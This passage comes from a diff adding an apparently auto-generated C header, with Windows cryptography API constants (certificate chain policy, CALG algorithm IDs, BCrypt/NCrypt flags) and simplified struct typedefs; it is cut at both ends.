0x80 +#define CERT_CHAIN_POLICY_IGNORE_END_REV_UNKNOWN_FLAG 0x100 +#define CERT_CHAIN_POLICY_IGNORE_CTL_SIGNER_REV_UNKNOWN_FLAG 0x200 +#define CERT_CHAIN_POLICY_IGNORE_CA_REV_UNKNOWN_FLAG 0x400 +#define CERT_CHAIN_POLICY_IGNORE_ROOT_REV_UNKNOWN_FLAG 0x800 +#define CERT_CHAIN_POLICY_IGNORE_ALL_REV_UNKNOWN_FLAGS 0xf00 +#define CERT_CHAIN_POLICY_ALLOW_TESTROOT_FLAG 0x8000 +#define CERT_CHAIN_POLICY_TRUST_TESTROOT_FLAG 0x4000 +#define CERT_CHAIN_POLICY_IGNORE_NOT_SUPPORTED_CRITICAL_EXT_FLAG 0x2000 +#define CERT_CHAIN_POLICY_IGNORE_PEER_TRUST_FLAG 0x1000 +#define CERT_CHAIN_POLICY_IGNORE_WEAK_SIGNATURE_FLAG 0x8000000 +#define BASIC_CONSTRAINTS_CERT_CHAIN_POLICY_CA_FLAG 0x80000000 +#define BASIC_CONSTRAINTS_CERT_CHAIN_POLICY_END_ENTITY_FLAG 0x40000000 +#define MICROSOFT_ROOT_CERT_CHAIN_POLICY_ENABLE_TEST_ROOT_FLAG 0x10000 +#define MICROSOFT_ROOT_CERT_CHAIN_POLICY_CHECK_APPLICATION_ROOT_FLAG 0x20000 +#define MICROSOFT_ROOT_CERT_CHAIN_POLICY_DISABLE_FLIGHT_ROOT_FLAG 0x40000 +#define SIGNER_NO_ATTR 0x0 +#define SIGNER_AUTHCODE_ATTR 0x1 +#define CMSG_KEY_AGREE_EPHEMERAL_KEY_CHOICE 0x1 +#define CMSG_KEY_AGREE_STATIC_KEY_CHOICE 0x2 +#define CRYPT_XML_KEYINFO_SPEC_NONE 0 +#define CRYPT_XML_KEYINFO_SPEC_ENCODED 1 +#define CRYPT_XML_KEYINFO_SPEC_PARAM 2 +#define CRYPT_XML_KEY_VALUE_TYPE_DSA 0x1 +#define CRYPT_XML_KEY_VALUE_TYPE_RSA 0x2 +#define CRYPT_XML_KEY_VALUE_TYPE_ECDSA 0x3 +#define CRYPT_XML_KEY_VALUE_TYPE_CUSTOM 0x4 +#define BCRYPT_RNG_USE_ENTROPY_IN_BUFFER 0x1 +#define BCRYPT_USE_SYSTEM_PREFERRED_RNG 0x2 +#define InvalidDirAc 0 +#define UserCreateDeleteDirAc 1 +#define AdminCreateDeleteDirAc 2 +#define PP_CLIENT_HWND 0x1 +#define PP_DELETEKEY 0x18 +#define PP_KEYEXCHANGE_ALG 0xe +#define PP_KEYEXCHANGE_PIN 0x20 +#define PP_KEYEXCHANGE_KEYSIZE 0xc +#define PP_KEYSET_SEC_DESCR 0x8 +#define PP_PIN_PROMPT_STRING 0x2c +#define PP_ROOT_CERTSTORE 0x2e +#define PP_SIGNATURE_ALG 0xf +#define PP_SIGNATURE_PIN 0x21 +#define PP_SIGNATURE_KEYSIZE 0xd +#define PP_UI_PROMPT 0x15 +#define PP_USE_HARDWARE_RNG 0x26 +#define PP_USER_CERTSTORE 0x2a +#define PP_SECURE_KEYEXCHANGE_PIN 0x2f +#define PP_SECURE_SIGNATURE_PIN 0x30 +#define PP_SMARTCARD_READER 0x2b +#define CRYPT_XML_TRANSFORM_ON_STREAM 0x1 +#define CRYPT_XML_TRANSFORM_ON_NODESET 0x2 +#define CRYPT_XML_TRANSFORM_URI_QUERY_STRING 0x3 +#define CERT_CREATE_SELFSIGN_NO_KEY_INFO 0x2 +#define CERT_CREATE_SELFSIGN_NO_SIGN 0x1 +#define CRYPT_VERIFY_CERT_SIGN_DISABLE_MD2_MD4_FLAG 0x1 +#define CRYPT_VERIFY_CERT_SIGN_SET_STRONG_PROPERTIES_FLAG 0x2 +#define CRYPT_VERIFY_CERT_SIGN_RETURN_STRONG_PROPERTIES_FLAG 0x4 +#define CRYPT_LOCAL 0x1 +#define CRYPT_DOMAIN 0x2 +#define CERT_BIOMETRIC_PREDEFINED_DATA_CHOICE 0x1 +#define CERT_BIOMETRIC_OID_DATA_CHOICE 0x2 +#define SIGNER_CERT_POLICY_STORE 0x1 +#define SIGNER_CERT_POLICY_CHAIN 0x2 +#define SIGNER_CERT_POLICY_SPC 0x4 +#define SIGNER_CERT_POLICY_CHAIN_NO_ROOT 0x8 +#define CERT_QUERY_FORMAT_FLAG_BINARY 0x2 +#define CERT_QUERY_FORMAT_FLAG_BASE64_ENCODED 0x4 +#define CERT_QUERY_FORMAT_FLAG_ASN_ASCII_HEX_ENCODED 0x8 +#define CERT_QUERY_FORMAT_FLAG_ALL 0xe +#define Asymmetric 1 +#define Symmetric 2 +#define Transform 3 +#define Hash 4 +#define SIG_APPEND 0x1000 +#define SPC_INC_PE_RESOURCES_FLAG 0x80 +#define SPC_INC_PE_DEBUG_INFO_FLAG 0x40 +#define SPC_INC_PE_IMPORT_ADDR_TABLE_FLAG 0x20 +#define SPC_EXC_PE_PAGE_HASHES_FLAG 0x10 +#define SPC_INC_PE_PAGE_HASHES_FLAG 0x100 +#define SPC_DIGEST_GENERATE_FLAG 0x200 +#define SPC_DIGEST_SIGN_FLAG 0x400 +#define SPC_DIGEST_SIGN_EX_FLAG 0x4000 +#define CALG_MD2 0x8001 +#define CALG_MD4 0x8002 +#define CALG_MD5 0x8003 +#define CALG_SHA 0x8004 +#define CALG_SHA1 0x8004 +#define CALG_MAC 0x8005 +#define CALG_RSA_SIGN 0x2400 +#define CALG_DSS_SIGN 0x2200 +#define CALG_NO_SIGN 0x2000 +#define CALG_RSA_KEYX 0xa400 +#define CALG_DES 0x6601 +#define CALG_3DES_112 0x6609 +#define CALG_3DES 0x6603 +#define CALG_DESX 0x6604 +#define CALG_RC2 0x6602 +#define CALG_RC4 0x6801 +#define CALG_SEAL 0x6802 +#define CALG_DH_SF 0xaa01 +#define CALG_DH_EPHEM 0xaa02 +#define CALG_AGREEDKEY_ANY 0xaa03 +#define CALG_KEA_KEYX 0xaa04 +#define CALG_HUGHES_MD5 0xa003 +#define CALG_SKIPJACK 0x660a +#define CALG_TEK 0x660b +#define CALG_CYLINK_MEK 0x660c +#define CALG_SSL3_SHAMD5 0x8008 +#define CALG_SSL3_MASTER 0x4c01 +#define CALG_SCHANNEL_MASTER_HASH 0x4c02 +#define CALG_SCHANNEL_MAC_KEY 0x4c03 +#define CALG_SCHANNEL_ENC_KEY 0x4c07 +#define CALG_PCT1_MASTER 0x4c04 +#define CALG_SSL2_MASTER 0x4c05 +#define CALG_TLS1_MASTER 0x4c06 +#define CALG_RC5 0x660d +#define CALG_HMAC 0x8009 +#define CALG_TLS1PRF 0x800a +#define CALG_HASH_REPLACE_OWF 0x800b +#define CALG_AES_128 0x660e +#define CALG_AES_192 0x660f +#define CALG_AES_256 0x6610 +#define CALG_AES 0x6611 +#define CALG_SHA_256 0x800c +#define CALG_SHA_384 0x800d +#define CALG_SHA_512 0x800e +#define CALG_ECDH 0xaa05 +#define CALG_ECDH_EPHEM 0xae06 +#define CALG_ECMQV 0xa001 +#define CALG_ECDSA 0x2203 +#define CALG_NULLCIPHER 0x6000 +#define CALG_THIRDPARTY_KEY_EXCHANGE 0xb000 +#define CALG_THIRDPARTY_SIGNATURE 0x3000 +#define CALG_THIRDPARTY_CIPHER 0x7000 +#define CALG_THIRDPARTY_HASH 0x9000 +#define CRYPT_ALL_FUNCTIONS 0x1 +#define CRYPT_ALL_PROVIDERS 0x2 +#define CTL_FIND_ANY 0x0 +#define CTL_FIND_SHA1_HASH 0x1 +#define CTL_FIND_MD5_HASH 0x2 +#define CTL_FIND_USAGE 0x3 +#define CTL_FIND_SAME_USAGE_FLAG 0x1 +#define CTL_FIND_EXISTING 0x5 +#define CTL_FIND_SUBJECT 0x4 +#define CRYPT_EXCLUSIVE 0x1 +#define CRYPT_OVERRIDE 0x10000 +#define CERT_QUERY_CONTENT_FLAG_CERT 0x2 +#define CERT_QUERY_CONTENT_FLAG_CTL 0x4 +#define CERT_QUERY_CONTENT_FLAG_CRL 0x8 +#define CERT_QUERY_CONTENT_FLAG_SERIALIZED_STORE 0x10 +#define CERT_QUERY_CONTENT_FLAG_SERIALIZED_CERT 0x20 +#define CERT_QUERY_CONTENT_FLAG_SERIALIZED_CTL 0x40 +#define CERT_QUERY_CONTENT_FLAG_SERIALIZED_CRL 0x80 +#define CERT_QUERY_CONTENT_FLAG_PKCS7_SIGNED 0x100 +#define CERT_QUERY_CONTENT_FLAG_PKCS7_UNSIGNED 0x200 +#define CERT_QUERY_CONTENT_FLAG_PKCS7_SIGNED_EMBED 0x400 +#define CERT_QUERY_CONTENT_FLAG_PKCS10 0x800 +#define CERT_QUERY_CONTENT_FLAG_PFX 0x1000 +#define CERT_QUERY_CONTENT_FLAG_CERT_PAIR 0x2000 +#define CERT_QUERY_CONTENT_FLAG_PFX_AND_LOAD 0x4000 +#define CERT_QUERY_CONTENT_FLAG_ALL 0x3ffe +#define CERT_QUERY_CONTENT_FLAG_ALL_ISSUER_CERT 0x332 +#define BCRYPT_DSA_PUBLIC_MAGIC 0x42505344 +#define BCRYPT_DSA_PRIVATE_MAGIC 0x56505344 +#define AUTHTYPE_CLIENT 0x1 +#define AUTHTYPE_SERVER 0x2 +#define CERT_STRONG_SIGN_ENABLE_CRL_CHECK 0x1 +#define CERT_STRONG_SIGN_ENABLE_OCSP_CHECK 0x2 +#define CRYPT_DEFAULT_CONTEXT_CERT_SIGN_OID 0x1 +#define CRYPT_DEFAULT_CONTEXT_MULTI_CERT_SIGN_OID 0x2 +#define CERT_QUERY_FORMAT_BINARY 0x1 +#define CERT_QUERY_FORMAT_BASE64_ENCODED 0x2 +#define CERT_QUERY_FORMAT_ASN_ASCII_HEX_ENCODED 0x3 +#define CERT_STORE_BACKUP_RESTORE_FLAG 0x800 +#define CERT_STORE_CREATE_NEW_FLAG 0x2000 +#define CERT_STORE_DEFER_CLOSE_UNTIL_LAST_FREE_FLAG 0x4 +#define CERT_STORE_DELETE_FLAG 0x10 +#define CERT_STORE_ENUM_ARCHIVED_FLAG 0x200 +#define CERT_STORE_MAXIMUM_ALLOWED_FLAG 0x1000 +#define CERT_STORE_NO_CRYPT_RELEASE_FLAG 0x1 +#define CERT_STORE_OPEN_EXISTING_FLAG 0x4000 +#define CERT_STORE_READONLY_FLAG 0x8000 +#define CERT_STORE_SET_LOCALIZED_NAME_FLAG 0x2 +#define CERT_STORE_SHARE_CONTEXT_FLAG 0x80 +#define CERT_STORE_UPDATE_KEYID_FLAG 0x400 +#define PVK_TYPE_FILE_NAME 0x1 +#define PVK_TYPE_KEYCONTAINER 0x2 +#define CRYPT_OID_INFO_PUBKEY_SIGN_KEY_FLAG 0x80000000 +#define CRYPT_OID_INFO_PUBKEY_ENCRYPT_KEY_FLAG 0x40000000 +#define CERT_STORE_SAVE_AS_PKCS7 0x2 +#define CERT_STORE_SAVE_AS_STORE 0x1 +#define CERT_FIND_ANY 0x0 +#define CERT_FIND_CERT_ID 0x100000 +#define CERT_FIND_CTL_USAGE 0xa0000 +#define CERT_FIND_ENHKEY_USAGE 0xa0000 +#define CERT_FIND_EXISTING 0xd0000 +#define CERT_FIND_HASH 0x10000 +#define CERT_FIND_HAS_PRIVATE_KEY 0x150000 +#define CERT_FIND_ISSUER_ATTR 0x30004 +#define CERT_FIND_ISSUER_NAME 0x20004 +#define CERT_FIND_ISSUER_OF 0xc0000 +#define CERT_FIND_ISSUER_STR 0x80004 +#define CERT_FIND_KEY_IDENTIFIER 0xf0000 +#define CERT_FIND_KEY_SPEC 0x90000 +#define CERT_FIND_MD5_HASH 0x40000 +#define CERT_FIND_PROPERTY 0x50000 +#define CERT_FIND_PUBLIC_KEY 0x60000 +#define CERT_FIND_SHA1_HASH 0x10000 +#define CERT_FIND_SIGNATURE_HASH 0xe0000 +#define CERT_FIND_SUBJECT_ATTR 0x30007 +#define CERT_FIND_SUBJECT_CERT 0xb0000 +#define CERT_FIND_SUBJECT_NAME 0x20007 +#define CERT_FIND_SUBJECT_STR 0x80007 +#define CERT_FIND_CROSS_CERT_DIST_POINTS 0x110000 +#define CERT_FIND_PUBKEY_MD5_HASH 0x120000 +#define CERT_FIND_SHA256_HASH 0x160000 +#define CERT_FIND_SHA1_SHA256_HASH 0x170000 +#define CERT_FIND_SUBJECT_STR_A 0x70007 +#define CERT_FIND_SUBJECT_STR_W 0x80007 +#define CERT_FIND_ISSUER_STR_A 0x70004 +#define CERT_FIND_ISSUER_STR_W 0x80004 +#define CERT_FIND_SUBJECT_INFO_ACCESS 0x130000 +#define CERT_FIND_HASH_STR 0x140000 +#define CERT_FIND_OPTIONAL_ENHKEY_USAGE_FLAG 0x1 +#define CERT_FIND_EXT_ONLY_ENHKEY_USAGE_FLAG 0x2 +#define CERT_FIND_PROP_ONLY_ENHKEY_USAGE_FLAG 0x4 +#define CERT_FIND_NO_ENHKEY_USAGE_FLAG 0x8 +#define CERT_FIND_OR_ENHKEY_USAGE_FLAG 0x10 +#define CERT_FIND_VALID_ENHKEY_USAGE_FLAG 0x20 +#define CERT_FIND_OPTIONAL_CTL_USAGE_FLAG 0x1 +#define CERT_FIND_EXT_ONLY_CTL_USAGE_FLAG 0x2 +#define CERT_FIND_PROP_ONLY_CTL_USAGE_FLAG 0x4 +#define CERT_FIND_NO_CTL_USAGE_FLAG 0x8 +#define CERT_FIND_OR_CTL_USAGE_FLAG 0x10 +#define CERT_FIND_VALID_CTL_USAGE_FLAG 0x20 +#define DirectionEncrypt 1 +#define DirectionDecrypt 2 +#define CERT_STORE_CTRL_COMMIT_FORCE_FLAG 0x1 +#define CERT_STORE_CTRL_COMMIT_CLEAR_FLAG 0x2 +#define CERT_STORE_CTRL_INHIBIT_DUPLICATE_HANDLE_FLAG 0x1 +#define CRYPT_GET_URL_FROM_PROPERTY 0x1 +#define CRYPT_GET_URL_FROM_EXTENSION 0x2 +#define CRYPT_GET_URL_FROM_UNAUTH_ATTRIBUTE 0x4 +#define CRYPT_GET_URL_FROM_AUTH_ATTRIBUTE 0x8 +#define CERT_STORE_PROV_EXTERNAL_FLAG 0x1 +#define CERT_STORE_PROV_DELETED_FLAG 0x2 +#define CERT_STORE_PROV_NO_PERSIST_FLAG 0x4 +#define CERT_STORE_PROV_SYSTEM_STORE_FLAG 0x8 +#define CERT_STORE_PROV_LM_SYSTEM_STORE_FLAG 0x10 +#define ENUM_CEPSETUPPROP_AUTHENTICATION 0 +#define ENUM_CEPSETUPPROP_SSLCERTHASH 1 +#define ENUM_CEPSETUPPROP_URL 2 +#define ENUM_CEPSETUPPROP_KEYBASED_RENEWAL 3 +#define CRYPT_ACQUIRE_CACHE_FLAG 0x1 +#define CRYPT_ACQUIRE_USE_PROV_INFO_FLAG 0x2 +#define CRYPT_ACQUIRE_COMPARE_KEY_FLAG 0x4 +#define CRYPT_ACQUIRE_NO_HEALING 0x8 +#define CRYPT_ACQUIRE_SILENT_FLAG 0x40 +#define CRYPT_ACQUIRE_WINDOW_HANDLE_FLAG 0x80 +#define CRYPT_ACQUIRE_NCRYPT_KEY_FLAGS_MASK 0x70000 +#define CRYPT_ACQUIRE_ALLOW_NCRYPT_KEY_FLAG 0x10000 +#define CRYPT_ACQUIRE_PREFER_NCRYPT_KEY_FLAG 0x20000 +#define CRYPT_ACQUIRE_ONLY_NCRYPT_KEY_FLAG 0x40000 +#define DSA_HASH_ALGORITHM_SHA1 0 +#define DSA_HASH_ALGORITHM_SHA256 1 +#define DSA_HASH_ALGORITHM_SHA512 2 +#define TIMESTAMP_VERSION 0x1 +#define ENUM_SETUPPROP_INVALID -1 +#define ENUM_SETUPPROP_CATYPE 0 +#define ENUM_SETUPPROP_CAKEYINFORMATION 1 +#define ENUM_SETUPPROP_INTERACTIVE 2 +#define ENUM_SETUPPROP_CANAME 3 +#define ENUM_SETUPPROP_CADSSUFFIX 4 +#define ENUM_SETUPPROP_VALIDITYPERIOD 5 +#define ENUM_SETUPPROP_VALIDITYPERIODUNIT 6 +#define ENUM_SETUPPROP_EXPIRATIONDATE 7 +#define ENUM_SETUPPROP_PRESERVEDATABASE 8 +#define ENUM_SETUPPROP_DATABASEDIRECTORY 9 +#define ENUM_SETUPPROP_LOGDIRECTORY 10 +#define ENUM_SETUPPROP_SHAREDFOLDER 11 +#define ENUM_SETUPPROP_PARENTCAMACHINE 12 +#define ENUM_SETUPPROP_PARENTCANAME 13 +#define ENUM_SETUPPROP_REQUESTFILE 14 +#define ENUM_SETUPPROP_WEBCAMACHINE 15 +#define ENUM_SETUPPROP_WEBCANAME 16 +#define CRYPT_XML_KEYINFO_TYPE_KEYNAME 0x1 +#define CRYPT_XML_KEYINFO_TYPE_KEYVALUE 0x2 +#define CRYPT_XML_KEYINFO_TYPE_RETRIEVAL 0x3 +#define CRYPT_XML_KEYINFO_TYPE_X509DATA 0x4 +#define CRYPT_XML_KEYINFO_TYPE_CUSTOM 0x5 +#define BCRYPT_HASH_OPERATION_HASH_DATA 1 +#define BCRYPT_HASH_OPERATION_FINISH_HASH 2 +#define CRYPT_ANY 0x4 +#define CRYPT_UM 0x1 +#define CRYPT_KM 0x2 +#define CRYPT_MM 0x3 +#define BCRYPT_BLOCK_PADDING 0x1 +#define BCRYPT_PAD_NONE 0x1 +#define BCRYPT_PAD_OAEP 0x4 +#define BCRYPT_PAD_PKCS1 0x2 +#define BCRYPT_PAD_PSS 0x8 +#define SIGNER_SUBJECT_FILE 0x1 +#define SIGNER_SUBJECT_BLOB 0x2 +#define CRYPT_OBJECT_LOCATOR_RELEASE_SYSTEM_SHUTDOWN 0x1 +#define CRYPT_OBJECT_LOCATOR_RELEASE_SERVICE_STOP 0x2 +#define CRYPT_OBJECT_LOCATOR_RELEASE_PROCESS_EXIT 0x3 +#define CRYPT_OBJECT_LOCATOR_RELEASE_DLL_UNLOAD 0x4 +#define CRL_REASON_UNSPECIFIED 0x0 +#define CRL_REASON_KEY_COMPROMISE 0x1 +#define CRL_REASON_CA_COMPROMISE 0x2 +#define CRL_REASON_AFFILIATION_CHANGED 0x3 +#define CRL_REASON_SUPERSEDED 0x4 +#define CRL_REASON_CESSATION_OF_OPERATION 0x5 +#define CRL_REASON_CERTIFICATE_HOLD 0x6 +#define CRL_REASON_REMOVE_FROM_CRL 0x8 +#define CRYPT_XML_STATUS_INTERNAL_REFERENCE 0x1 +#define CRYPT_XML_STATUS_KEY_AVAILABLE 0x2 +#define CRYPT_XML_STATUS_DIGESTING 0x4 +#define CRYPT_XML_STATUS_DIGEST_VALID 0x8 +#define CRYPT_XML_STATUS_SIGNATURE_VALID 0x10000 +#define CRYPT_XML_STATUS_OPENED_TO_ENCODE 0x80000000 +#define SIGNER_TIMESTAMP_AUTHENTICODE 0x1 +#define SIGNER_TIMESTAMP_RFC3161 0x2 +#define BCRYPT_NO_CURVE_GENERATION_ALG_ID 0 +#define BCRYPT_CIPHER_OPERATION 0x1 +#define BCRYPT_HASH_OPERATION 0x2 +#define BCRYPT_ASYMMETRIC_ENCRYPTION_OPERATION 0x4 +#define BCRYPT_SECRET_AGREEMENT_OPERATION 0x8 +#define BCRYPT_SIGNATURE_OPERATION 0x10 +#define BCRYPT_RNG_OPERATION 0x20 +#define NCRYPT_CIPHER_OPERATION 0x1 +#define NCRYPT_HASH_OPERATION 0x2 +#define NCRYPT_ASYMMETRIC_ENCRYPTION_OPERATION 0x4 +#define NCRYPT_SECRET_AGREEMENT_OPERATION 0x8 +#define NCRYPT_SIGNATURE_OPERATION 0x10 +#define HP_HMAC_INFO 0x5 +#define HP_HASHVAL 0x2 +#define BCRYPT_ALG_HANDLE_HMAC_FLAG 0x8 +#define BCRYPT_PROV_DISPATCH 0x1 +#define BCRYPT_HASH_REUSABLE_FLAG 0x20 +#define CRYPT_ENCODE_ALLOC_FLAG 0x8000 +#define CRYPT_ENCODE_ENABLE_PUNYCODE_FLAG 0x20000 +#define CRYPT_UNICODE_NAME_ENCODE_DISABLE_CHECK_TYPE_FLAG 0x40000000 +#define CRYPT_UNICODE_NAME_ENCODE_ENABLE_T61_UNICODE_FLAG 0x80000000 +#define CRYPT_UNICODE_NAME_ENCODE_ENABLE_UTF8_UNICODE_FLAG 0x20000000 +#define CRYPT_XML_FLAG_DISABLE_EXTENSIONS 0x10000000 +#define CRYPT_XML_FLAG_NO_SERIALIZE 0x80000000 +#define CRYPT_XML_SIGN_ADD_KEYVALUE 0x1 +#define TIMESTAMP_STATUS_GRANTED 0x0 +#define TIMESTAMP_STATUS_GRANTED_WITH_MODS 0x1 +#define TIMESTAMP_STATUS_REJECTED 0x2 +#define TIMESTAMP_STATUS_WAITING 0x3 +#define TIMESTAMP_STATUS_REVOCATION_WARNING 0x4 +#define TIMESTAMP_STATUS_REVOKED 0x5 + +typedef struct _BCRYPT_KEY_HANDLE { + void* Value; +} BCRYPT_KEY_HANDLE; + +typedef struct _CONTAINER_MAP_RECORD { + unsigned short wszGuid[40]; + unsigned char bFlags; + unsigned char bReserved; + unsigned short wSigKeySizeBits; + unsigned short wKeyExchangeKeySizeBits; +} CONTAINER_MAP_RECORD; + +typedef struct _NCRYPT_PROTECT_STREAM_INFO_EX { + void* pfnStreamOutput; + void* pvCallbackCtxt; +} NCRYPT_PROTECT_STREAM_INFO_EX; + +typedef struct _CARD_AUTHENTICATE_RESPONSE { + unsigned int dwVersion; + unsigned int cbSessionPin; + unsigned int cAttemptsRemaining; + unsigned char pbSessionPin[1]; +} CARD_AUTHENTICATE_RESPONSE; + +typedef struct _CRYPT_XML_TRANSFORM_CHAIN_CONFIG { + unsigned int cbSize; + unsigned int cTransformInfo; + void* rgpTransformInfo; +} CRYPT_XML_TRANSFORM_CHAIN_CONFIG; + +typedef struct _NCRYPT_SSL_CIPHER_SUITE { + unsigned int dwProtocol; + unsigned int dwCipherSuite; + unsigned int dwBaseCipherSuite; + unsigned short szCipherSuite[64]; + unsigned short szCipher[64]; + unsigned int dwCipherLen; + unsigned int dwCipherBlockLen; + unsigned short szHash[64]; + unsigned int dwHashLen; + unsigned short szExchange[64]; + unsigned int dwMinExchangeLen; + unsigned int dwMaxExchangeLen; + unsigned short szCertificate[64]; + unsigned int dwKeyType; +} NCRYPT_SSL_CIPHER_SUITE; + +typedef struct _CERT_DH_PARAMETERS { + void* p; + void* g; +} CERT_DH_PARAMETERS; + +typedef struct _CMSG_RC4_AUX_INFO { + unsigned int cbSize; + unsigned int dwBitLen; +} CMSG_RC4_AUX_INFO; + +typedef struct _CMSG_KEY_AGREE_RECIPIENT_INFO { + unsigned int dwVersion; + void* dwOriginatorChoice; + void* Anonymous; + void* UserKeyingMaterial; + void* KeyEncryptionAlgorithm; + unsigned int cRecipientEncryptedKeys; + void* rgpRecipientEncryptedKeys; +} CMSG_KEY_AGREE_RECIPIENT_INFO; + +typedef struct _SSL_HPKP_HEADER_EXTRA_CERT_CHAIN_POLICY_PARA { + unsigned int cbSize; + unsigned int dwReserved; + void* pwszServerName; + void* rgpszHpkpValue[2]; +} SSL_HPKP_HEADER_EXTRA_CERT_CHAIN_POLICY_PARA; + +typedef struct _CRL_DIST_POINT { + void* DistPointName; + void* ReasonFlags; + void* CRLIssuer; +} CRL_DIST_POINT; + +typedef struct _CERT_GENERAL_SUBTREE { + void* Base; + unsigned int dwMinimum; + BOOL fMaximum; + unsigned int dwMaximum; +} CERT_GENERAL_SUBTREE; + +typedef struct _CERT_BIOMETRIC_EXT_INFO { + unsigned int cBiometricData; + void* rgBiometricData; +} CERT_BIOMETRIC_EXT_INFO; + +typedef struct _CRYPT_PROVIDER_REFS { + unsigned int cProviders; + void* rgpProviders; +} CRYPT_PROVIDER_REFS; + +typedef struct _CERT_ID { + void* dwIdChoice; + void* Anonymous; +} CERT_ID; + +typedef struct _CARD_FILE_INFO { + unsigned int dwVersion; + unsigned int cbFileSize; + void* AccessCondition; +} CARD_FILE_INFO; + +typedef struct _NCRYPT_VBS_ROOT_KEY_ATTESTATION_CLAIM_DETAILS { + unsigned int ulKeyFlags; + unsigned long long ullTrustletId; + unsigned int ulTrustletSecurityVersion; + unsigned int ulTrustletDebuggable; +} NCRYPT_VBS_ROOT_KEY_ATTESTATION_CLAIM_DETAILS; + +typedef struct _NCRYPT_HANDLE { + unsigned long long Value; +} NCRYPT_HANDLE; + +typedef struct _CERT_KEY_ATTRIBUTES_INFO { + void* KeyId; + void* IntendedKeyUsage; + void* pPrivateKeyUsagePeriod; +} CERT_KEY_ATTRIBUTES_INFO; + +typedef struct _CRYPT_XML_OBJECT { + unsigned int cbSize; + void* hObject; + void* wszId; + void* wszMimeType; + void* wszEncoding; + void* Manifest; + void* Encoded; +} CRYPT_XML_OBJECT; + +typedef struct _PIN_CACHE_POLICY { + unsigned int dwVersion; + void* PinCachePolicyType; + unsigned int dwPinCachePolicyInfo; +} PIN_CACHE_POLICY; + +typedef struct _PUBKEYVER3 { + unsigned int magic; + unsigned int bitlenP; + unsigned int bitlenQ; + unsigned int bitlenJ; + void* DSSSeed; +} PUBKEYVER3; + +typedef struct _OCSP_RESPONSE_INFO { + unsigned int dwStatus; + void* pszObjId; + void* Value; +} OCSP_RESPONSE_INFO; + +typedef struct _CARD_CAPABILITIES { + unsigned int dwVersion; + BOOL fCertificateCompression; + BOOL fKeyGen; +} CARD_CAPABILITIES; + +typedef struct _CRYPT_TIMESTAMP_CONTEXT { + unsigned int cbEncoded; + void* pbEncoded; + void* pTimeStamp; +} CRYPT_TIMESTAMP_CONTEXT; + +typedef struct _CERT_STRONG_SIGN_SERIALIZED_INFO { + void* dwFlags; + void* pwszCNGSignHashAlgids; + void* pwszCNGPubKeyMinBitLengths; +} CERT_STRONG_SIGN_SERIALIZED_INFO; + +typedef struct _OCSP_BASIC_RESPONSE_INFO { + unsigned int dwVersion; + unsigned int dwResponderIdChoice; + void* Anonymous; + void* ProducedAt; + unsigned int cResponseEntry; + void* rgResponseEntry; + unsigned int cExtension; + void* rgExtension; +} OCSP_BASIC_RESPONSE_INFO; + +typedef struct _CRYPT_XML_KEY_ECDSA_KEY_VALUE { + void* wszNamedCurve; + void* X; + void* Y; + void* ExplicitPara; +} CRYPT_XML_KEY_ECDSA_KEY_VALUE; + +typedef struct _INFORMATIONCARD_ASYMMETRIC_CRYPTO_PARAMETERS { + int keySize; + void* keyExchangeAlgorithm; + void* signatureAlgorithm; +} INFORMATIONCARD_ASYMMETRIC_CRYPTO_PARAMETERS; + +// SKIPPED struct CCertSrvSetupKeyInformation: no representable fields +typedef struct _CERT_ISSUER_SERIAL_NUMBER { + void* Issuer; + void* SerialNumber; +} CERT_ISSUER_SERIAL_NUMBER; + +typedef struct _CRYPT_PASSWORD_CREDENTIALSA { + unsigned int cbSize; + void* pszUsername; + void* pszPassword; +} CRYPT_PASSWORD_CREDENTIALSA; + +typedef struct _NCRYPT_PROV_HANDLE { + unsigned long long Value; +} NCRYPT_PROV_HANDLE; + +typedef struct _CERT_AUTHORITY_KEY_ID_INFO { + void* KeyId; + void* CertIssuer; + void* CertSerialNumber; +} CERT_AUTHORITY_KEY_ID_INFO; + +typedef struct _POLICY_ELEMENT { + void* targetEndpointAddress; + void* issuerEndpointAddress; + void* issuedTokenParameters; + void* privacyNoticeLink; + unsigned int privacyNoticeVersion; + BOOL useManagedPresentation; +} POLICY_ELEMENT; + +typedef struct _CERT_INFO { + unsigned int dwVersion; + void* SerialNumber; + void* SignatureAlgorithm; + void* Issuer; + void* NotBefore; + void* NotAfter; + void* Subject; + void* SubjectPublicKeyInfo; + void* IssuerUniqueId; + void* SubjectUniqueId; + unsigned int cExtension; + void* rgExtension; +} CERT_INFO; + +typedef struct _NCRYPT_EXPORTED_ISOLATED_KEY_HEADER { + unsigned int Version; + unsigned int KeyUsage; + unsigned int _bitfield; + unsigned int cbAlgName; + unsigned int cbNonce; + unsigned int cbAuthTag; + unsigned int cbWrappingKey; + unsigned int cbIsolatedKey; +} NCRYPT_EXPORTED_ISOLATED_KEY_HEADER; + +typedef struct _CERT_LOGOTYPE_DATA { + unsigned int cLogotypeImage; + void* rgLogotypeImage; + unsigned int cLogotypeAudio; + void* rgLogotypeAudio; +} CERT_LOGOTYPE_DATA; + +typedef struct _CERT_TPM_SPECIFICATION_INFO { + void* pwszFamily; + unsigned int dwLevel; + unsigned int dwRevision; +} CERT_TPM_SPECIFICATION_INFO; + +typedef struct _CROSS_CERT_DIST_POINTS_INFO { + unsigned int dwSyncDeltaTime; + unsigned int cDistPoint; + void* rgDistPoint; +} CROSS_CERT_DIST_POINTS_INFO; + +typedef struct _BCRYPT_SECRET_HANDLE { + void* Value; +} BCRYPT_SECRET_HANDLE; + +typedef struct _BCRYPT_ECC_PARAMETER_HEADER { + unsigned int dwVersion; + void* dwCurveType; + void* dwCurveGenerationAlgId; + unsigned int cbFieldLength; + unsigned int cbSubgroupOrder; + unsigned int cbCofactor; + unsigned int cbSeed; +} BCRYPT_ECC_PARAMETER_HEADER; + +typedef struct _CARD_DERIVE_KEY { + unsigned int dwVersion; + unsigned int dwFlags; + void* pwszKDF; + unsigned char bSecretAgreementIndex; + void* pParameterList; + void* pbDerivedKey; + unsigned int cbDerivedKey; + void* pwszAlgId; + unsigned int dwKeyLen; + unsigned long long hKey; +} CARD_DERIVE_KEY; + +typedef struct _CERT_PAIR { + void* Forward; + void* Reverse; +} CERT_PAIR; + +typedef struct _SIGNER_CERT_STORE_INFO { + unsigned int cbSize; + void* pSigningCert; + void* dwCertPolicy; + void* hCertStore; +} SIGNER_CERT_STORE_INFO; + +typedef struct _BCRYPT_KEY_LENGTHS_STRUCT { + unsigned int dwMinLength; + unsigned int dwMaxLength; + unsigned int dwIncrement; +} BCRYPT_KEY_LENGTHS_STRUCT; + +typedef struct _CRYPT_PROVIDER_REG { + unsigned int cAliases; + void* rgpszAliases; + void* pUM; + void* 